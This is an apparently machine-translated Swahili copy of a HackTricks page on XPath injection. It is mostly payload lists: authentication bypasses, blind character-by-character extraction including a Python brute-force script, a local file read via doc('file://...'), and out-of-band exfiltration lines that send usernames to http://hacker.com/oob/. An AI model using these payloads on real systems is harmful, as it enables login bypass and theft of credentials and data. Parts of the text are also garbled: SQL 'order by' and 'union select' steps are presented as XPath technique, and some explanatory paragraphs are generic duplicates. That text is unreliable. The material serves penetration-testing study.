hacktricks/pentesting-web/xpath-injection.md
2024-02-11 02:13:58 +00:00

24 KiB

Uvamizi wa XPATH

Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Jiunge na HackenProof Discord server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!

Machapisho Kuhusu Kudukua
Shiriki na yaliyomo yanayochunguza msisimko na changamoto za kudukua

Habari za Kudukua za Wakati Halisi
Endelea kuwa na habari za ulimwengu wa kudukua kwa kasi kupitia habari na ufahamu wa wakati halisi

Matangazo ya Hivi Karibuni
Baki na habari kuhusu uzinduzi wa tuzo za mdudu mpya na sasisho muhimu za jukwaa

Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!

Sintaksia Msingi

Teknolojia ya mashambulizi inayojulikana kama XPATH Injection hutumiwa kuchukua faida ya programu ambazo hujenga maswali ya XPath (XML Path Language) kulingana na mchango wa mtumiaji ili kuuliza au kupitia hati za XML.

Maelezo ya Nodes

Maelezo hutumiwa kuchagua nodes mbalimbali katika hati ya XML. Maelezo haya na maelezo yao yamefupishwa hapa chini:

  • nodename: Nodes zote zenye jina "nodename" zinachaguliwa.
  • /: Uchaguzi unafanywa kutoka kwenye node ya msingi.
  • //: Nodes zinazolingana na uchaguzi kutoka kwenye node ya sasa zinachaguliwa, bila kujali eneo lao kwenye hati.
  • .: Node ya sasa inachaguliwa.
  • ..: Wazazi wa node ya sasa wanachaguliwa.
  • @: Vipengele vinachaguliwa.

Mifano ya XPATH

Mifano ya maelezo ya njia na matokeo yao ni pamoja na:

  • bookstore: Nodes zote zenye jina "bookstore" zinachaguliwa.
  • /bookstore: Elementi ya msingi ya bookstore inachaguliwa. Inafahamika kuwa njia kamili ya kufikia elementi ni kwa njia ya kuanza na kashiri (/).
  • bookstore/book: Elements zote za kitabu ambazo ni watoto wa bookstore zinachaguliwa.
  • //book: Elements zote za kitabu katika hati zinachaguliwa, bila kujali eneo lao.
  • bookstore//book: Elements zote za kitabu ambazo ni wazao wa elementi ya bookstore zinachaguliwa, bila kujali nafasi yao chini ya elementi ya bookstore.
  • //@lang: Vipengele vyote vyenye jina la lang vinachaguliwa.

Matumizi ya Predicates

Predicates hutumiwa kuboresha uchaguzi:

  • /bookstore/book[1]: Elementi ya kwanza ya kitabu ambayo ni mtoto wa elementi ya bookstore inachaguliwa. Njia mbadala kwa toleo la IE 5 hadi 9, ambalo linaindeksi node ya kwanza kama [0], ni kuweka SelectionLanguage kuwa XPath kupitia JavaScript.
  • /bookstore/book[last()]: Elementi ya mwisho ya kitabu ambayo ni mtoto wa elementi ya bookstore inachaguliwa.
  • /bookstore/book[last()-1]: Elementi ya mwisho kabla ya mwisho ya kitabu ambayo ni mtoto wa elementi ya bookstore inachaguliwa.
  • /bookstore/book[position()<3]: Elementi mbili za kwanza za kitabu ambazo ni watoto wa elementi ya bookstore zinachaguliwa.
  • //title[@lang]: Vipengele vyote vya kichwa chenye sifa ya lang vinachaguliwa.
  • //title[@lang='en']: Vipengele vyote vya kichwa chenye sifa ya "lang" yenye thamani ya "en" vinachaguliwa.
  • /bookstore/book[price>35.00]: Elements zote za kitabu za bookstore zenye bei kubwa kuliko 35.00 zinachaguliwa.
  • /bookstore/book[price>35.00]/title: Vipengele vyote vya kichwa vya elements za kitabu za bookstore zenye bei kubwa kuliko 35.00 zinachaguliwa.

Kushughulikia Nodes Isiyojulikana

Alama za wilcard hutumiwa kwa kulinganisha nodes zisizo julikana:

  • *: Inalingana na kila node ya elementi.
  • @*: Inalingana na kila node ya sifa.
  • node(): Inalingana na kila node ya aina yoyote.

Mifano zaidi ni pamoja na:

  • /bookstore/*: Inachagua nodes za elementi za watoto zote za elementi ya bookstore.
  • //*: Inachagua elementi zote katika hati.
  • //title[@*]: Inachagua vipengele vyote vya kichwa chenye angalau sifa moja ya aina yoyote.

Mfano

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Pata ufikiaji wa habari

XPath Injection ni mbinu ya kudukua ambapo mtu anaweza kuingiza kanuni ya XPath iliyobadilishwa kwenye maombi ya wavuti ambayo hutumia XPath kutekeleza utaftaji wa data. Kwa kufanya hivyo, mtu anaweza kupata ufikiaji usioidhinishwa kwa habari ambayo haipaswi kuwa inapatikana.

Kwa kawaida, XPath Injection hufanyika kwa kuingiza kanuni ya XPath iliyoundwa vibaya katika maeneo ya utaftaji wa maombi ya wavuti. Hii inaweza kufanyika kupitia vigezo vya URL, fomu za maingiliano, au hata vitambulisho vya maombi ya wavuti.

Kwa mfano, ikiwa maombi ya wavuti yanatumia XPath kuunda utaftaji wa data kulingana na jina la mtumiaji uliyoingia, mtu anaweza kuingiza kanuni ya XPath iliyobadilishwa kwenye uwanja wa jina la mtumiaji ili kupata habari zisizoidhinishwa. Kwa mfano, kwa kuingiza ' or '1'='1 kama jina la mtumiaji, mtu anaweza kubadilisha utaftaji wa XPath ili kuonyesha habari zote katika hifadhidata badala ya habari ya mtumiaji maalum.

Kwa kufanikiwa kutekeleza XPath Injection, mtu anaweza kupata habari nyeti kama majina ya mtumiaji, nywila, habari ya kifedha, na zaidi. Hii inaweza kuwa na athari mbaya kwa usalama wa maombi ya wavuti na faragha ya watumiaji.

Kwa hiyo, ni muhimu kwa watengenezaji wa maombi ya wavuti kuhakikisha kuwa wanazuia mashambulizi ya XPath Injection kwa kusafisha na kuchanganua kwa usahihi data iliyopokelewa kutoka kwa watumiaji kabla ya kuitumia katika utaftaji wa XPath.

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Kutambua na kuiba mpangilio

XPath injection inaweza kutumiwa kuchunguza na kuiba mpangilio wa data katika mfumo wa tovuti. Kwa kufanya hivyo, tunaweza kupata habari muhimu kuhusu muundo wa database na jinsi data imepangwa.

Kwa kuanza, tunaweza kujaribu kuingiza maandishi ya XPath ambayo yatachunguza mpangilio wa data. Kwa mfano, tunaweza kutumia maandishi ya XPath kama 1' or '1'='1 ili kuona ikiwa tunapata matokeo yoyote.

Ikiwa tunaona matokeo, hii inamaanisha kuwa tunaweza kuingiza maandishi ya XPath kwa usahihi. Kwa hivyo, tunaweza kuanza kuchunguza mpangilio wa data kwa kutumia maandishi ya XPath kama 1' order by 1-- - na kuendelea kuongeza idadi hadi tupate mpangilio sahihi.

Kwa mfano, ikiwa tunapata matokeo ya kosa kwa maandishi ya XPath 1' order by 3-- -, tunajua kuwa kuna vitengo viwili vya mpangilio. Tunaweza kuendelea kwa njia hii hadi tupate mpangilio kamili wa data.

Baada ya kupata mpangilio wa data, tunaweza kuanza kuiba habari muhimu. Tunaweza kutumia maandishi ya XPath kama 1' union select null,username,null,null from users-- - ili kupata majina ya watumiaji kutoka kwenye meza ya watumiaji.

Kwa njia hii, tunaweza kutumia XPath injection kuchunguza na kuiba mpangilio wa data katika mfumo wa tovuti. Hii inaweza kutusaidia kupata habari muhimu na kufanya uchambuzi wa kina wa mfumo.

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Kupita kwa Uthibitishaji

Mfano wa maswali:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

Kuvuka OR katika jina la mtumiaji na nenosiri (thamani sawa kwa wote)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Kutumia uvamizi wa null

Null injection is a technique used to exploit vulnerabilities in applications that use XPath queries to retrieve data from XML databases. By injecting a null character into the XPath query, an attacker can manipulate the query to bypass security measures and retrieve unauthorized data.

Uvamizi wa null ni mbinu inayotumika kudukua udhaifu katika programu ambazo hutumia maswali ya XPath kuipata data kutoka kwenye maktaba za XML. Kwa kuingiza herufi ya null katika swali la XPath, mshambuliaji anaweza kubadilisha swali hilo ili kuepuka hatua za usalama na kupata data ambayo hana ruhusa nayo.

Exploiting boolean-based blind XPath injection

Boolean-based blind XPath injection is a technique used to exploit vulnerabilities in applications that use XPath queries to retrieve data from XML databases. By injecting boolean expressions into the XPath query, an attacker can manipulate the query to extract sensitive information from the database.

Kudukua udhaifu wa boolean-based blind XPath injection ni mbinu inayotumika kudukua udhaifu katika programu ambazo hutumia maswali ya XPath kuipata data kutoka kwenye maktaba za XML. Kwa kuingiza maelezo ya boolean katika swali la XPath, mshambuliaji anaweza kubadilisha swali hilo ili kuvuta taarifa nyeti kutoka kwenye maktaba ya data.

Exploiting error-based XPath injection

Error-based XPath injection is a technique used to exploit vulnerabilities in applications that use XPath queries to retrieve data from XML databases. By injecting malicious input into the XPath query, an attacker can cause the application to generate error messages that reveal sensitive information about the database.

Kudukua udhaifu wa error-based XPath injection ni mbinu inayotumika kudukua udhaifu katika programu ambazo hutumia maswali ya XPath kuipata data kutoka kwenye maktaba za XML. Kwa kuingiza maelezo mabaya katika swali la XPath, mshambuliaji anaweza kusababisha programu hiyo kutoa ujumbe wa makosa ambao unafichua taarifa nyeti kuhusu maktaba ya data.

Exploiting union-based XPath injection

Union-based XPath injection is a technique used to exploit vulnerabilities in applications that use XPath queries to retrieve data from XML databases. By injecting union queries into the XPath query, an attacker can manipulate the query to extract data from multiple tables in the database, even if they are not directly accessible.

Kudukua udhaifu wa union-based XPath injection ni mbinu inayotumika kudukua udhaifu katika programu ambazo hutumia maswali ya XPath kuipata data kutoka kwenye maktaba za XML. Kwa kuingiza maswali ya union katika swali la XPath, mshambuliaji anaweza kubadilisha swali hilo ili kuvuta data kutoka kwenye meza nyingi katika maktaba ya data, hata kama hazipatikani moja kwa moja.

Exploiting time-based blind XPath injection

Time-based blind XPath injection is a technique used to exploit vulnerabilities in applications that use XPath queries to retrieve data from XML databases. By injecting time delays into the XPath query, an attacker can manipulate the query to extract sensitive information from the database.

Kudukua udhaifu wa time-based blind XPath injection ni mbinu inayotumika kudukua udhaifu katika programu ambazo hutumia maswali ya XPath kuipata data kutoka kwenye maktaba za XML. Kwa kuingiza kuchelewesha kwa muda katika swali la XPath, mshambuliaji anaweza kubadilisha swali hilo ili kuvuta taarifa nyeti kutoka kwenye maktaba ya data.

Username: ' or 1]%00

Double OR katika Jina la Mtumiaji au katika nenosiri (inatumika na uga mmoja ulio hatarini tu)

MUHIMU: Tafadhali kumbuka kuwa "na" ni operesheni ya kwanza inayofanywa.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Uchimbaji wa Maneno

Matokeo yanajumuisha maneno na mtumiaji anaweza kubadilisha thamani ili kutafuta:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Kupata urefu wa thamani na kuiondoa kwa kulinganisha:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Mfano wa Python

import requests

def get_user_password(username):
    url = f"http://example.com/login?username={username}&password=' or '1'='1"
    response = requests.get(url)
    if "Welcome" in response.text:
        return "Success"
    else:
        return "Failure"

In this example, we have a function get_user_password that takes a username as input. The function constructs a URL with the username parameter and a payload for a XPath injection attack.

The payload ' or '1'='1 is appended to the password parameter in the URL. This payload is designed to bypass the authentication mechanism by making the injected XPath expression always evaluate to true.

The function then sends a GET request to the constructed URL using the requests library. If the response contains the string "Welcome", it means that the XPath injection was successful and the function returns "Success". Otherwise, it returns "Failure".

By using this technique, an attacker can potentially bypass authentication and gain unauthorized access to the system. It is important for developers to sanitize user inputs and use parameterized queries to prevent XPath injection attacks.

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Soma faili

XPath Injection inaruhusu mtu kuingiza maagizo ya XPath kwenye maombi ya wavuti ambayo hutumia XPath kuchuja na kuonyesha data kutoka kwa hifadhidata. Kwa kufanya hivyo, mtu anaweza kusoma faili zilizopo kwenye mfumo na kupata habari nyeti.

Kwa kawaida, mtu anaweza kuingiza maagizo ya XPath kwenye sehemu ya maombi ya wavuti ambayo inatumia data ya mtumiaji bila kuihakiki kwa usahihi. Hii inaweza kutokea katika maeneo kama vile sanduku la utaftaji au vigezo vya URL.

Kwa mfano, ikiwa maombi ya wavuti inatumia XPath kuunda swali la kutafuta data kutoka kwa hifadhidata, mtu anaweza kuingiza maagizo ya XPath ambayo itasababisha maombi kusoma faili zilizopo kwenye mfumo badala ya data inayotarajiwa.

Kwa kufanya hivyo, mtu anaweza kutumia maagizo ya XPath kama vile document() na document-uri() kusoma faili zilizopo kwenye mfumo. Kwa mfano, mtu anaweza kuingiza maagizo ya XPath kama document('/etc/passwd') ili kusoma faili ya /etc/passwd kwenye mfumo.

Kwa kuzingatia hatari ya XPath Injection, ni muhimu kwa watengenezaji wa wavuti kuhakikisha kuwa data ya mtumiaji inahakikiwa kwa usahihi kabla ya kutumika katika maagizo ya XPath. Hii inaweza kufanywa kwa kuchuja na kusafisha data ya mtumiaji ili kuondoa maagizo ya XPath yasiyotarajiwa.

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB Utekaji

OOB (Out-of-Band) Utekaji

Utekaji wa OOB (Out-of-Band) ni mbinu ya kudukua ambapo mshambuliaji anatumia njia mbadala ya mawasiliano ili kupata taarifa kutoka kwa mfumo uliolengwa. Katika muktadha wa XPath Injection, OOB utekaji unahusisha kutumia XPath queries ili kusababisha mfumo kutuma taarifa nje ya mfumo wa lengo, ambapo mshambuliaji anaweza kuzipata.

Mbinu za OOB Utekaji

Kuna njia kadhaa za kutekeleza OOB utekaji katika muktadha wa XPath Injection. Hapa kuna baadhi ya mbinu zinazotumiwa mara kwa mara:

1. OOB DNS Lookup

Katika mbinu hii, mshambuliaji anatumia XPath queries ili kusababisha mfumo kutuma ombi la DNS lookup kwa seva ya mshambuliaji. Kwa kufanya hivyo, mshambuliaji anaweza kuchambua ombi la DNS na kupata taarifa muhimu.

2. OOB HTTP Request

Katika mbinu hii, mshambuliaji anatumia XPath queries ili kusababisha mfumo kutuma ombi la HTTP kwa seva ya mshambuliaji. Kwa kufanya hivyo, mshambuliaji anaweza kuchambua ombi la HTTP na kupata taarifa muhimu.

3. OOB SMTP Request

Katika mbinu hii, mshambuliaji anatumia XPath queries ili kusababisha mfumo kutuma ombi la SMTP kwa seva ya mshambuliaji. Kwa kufanya hivyo, mshambuliaji anaweza kuchambua ombi la SMTP na kupata taarifa muhimu.

Matumizi ya OOB Utekaji

OOB utekaji unaweza kutumiwa kwa njia mbalimbali katika muktadha wa XPath Injection. Baadhi ya matumizi muhimu ni pamoja na:

  • Kupata taarifa nyeti kutoka kwa mfumo uliolengwa, kama vile majina ya mtumiaji, nywila, na data nyingine muhimu.
  • Kufanya uchunguzi wa kina wa mfumo uliolengwa kwa kutuma ombi la OOB na kuchambua majibu yake.
  • Kusababisha mfumo uliolengwa kufanya vitendo fulani, kama vile kutuma barua pepe au kufanya ombi la HTTP.

Kujikinga dhidi ya OOB Utekaji

Kujikinga dhidi ya OOB utekaji ni muhimu ili kulinda mfumo wako kutokana na mashambulizi. Hapa kuna baadhi ya hatua unazoweza kuchukua:

  • Tumia vifaa vya usalama kama vile firewall na IPS ili kuzuia ombi la OOB kutoka kwa mfumo uliolengwa.
  • Sanidi mfumo wako vizuri ili kuzuia uwezekano wa kutekelezwa kwa OOB utekaji.
  • Fanya ukaguzi wa usalama mara kwa mara ili kugundua na kurekebisha mapungufu yoyote yanayoweza kusababisha OOB utekaji.
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Zana ya kiotomatiki

Marejeo

Jiunge na seva ya HackenProof Discord ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!

Machapisho ya Udukuzi
Shiriki na yaliyomo yanayochunguza msisimko na changamoto za udukuzi

Habari za Udukuzi za Wakati Halisi
Endelea kuwa na habari za ulimwengu wa udukuzi kwa kupitia habari na ufahamu wa wakati halisi

Matangazo ya Hivi Karibuni
Baki na habari kuhusu tuzo za mdudu zinazoanzishwa na sasisho muhimu za jukwaa

Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!

Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: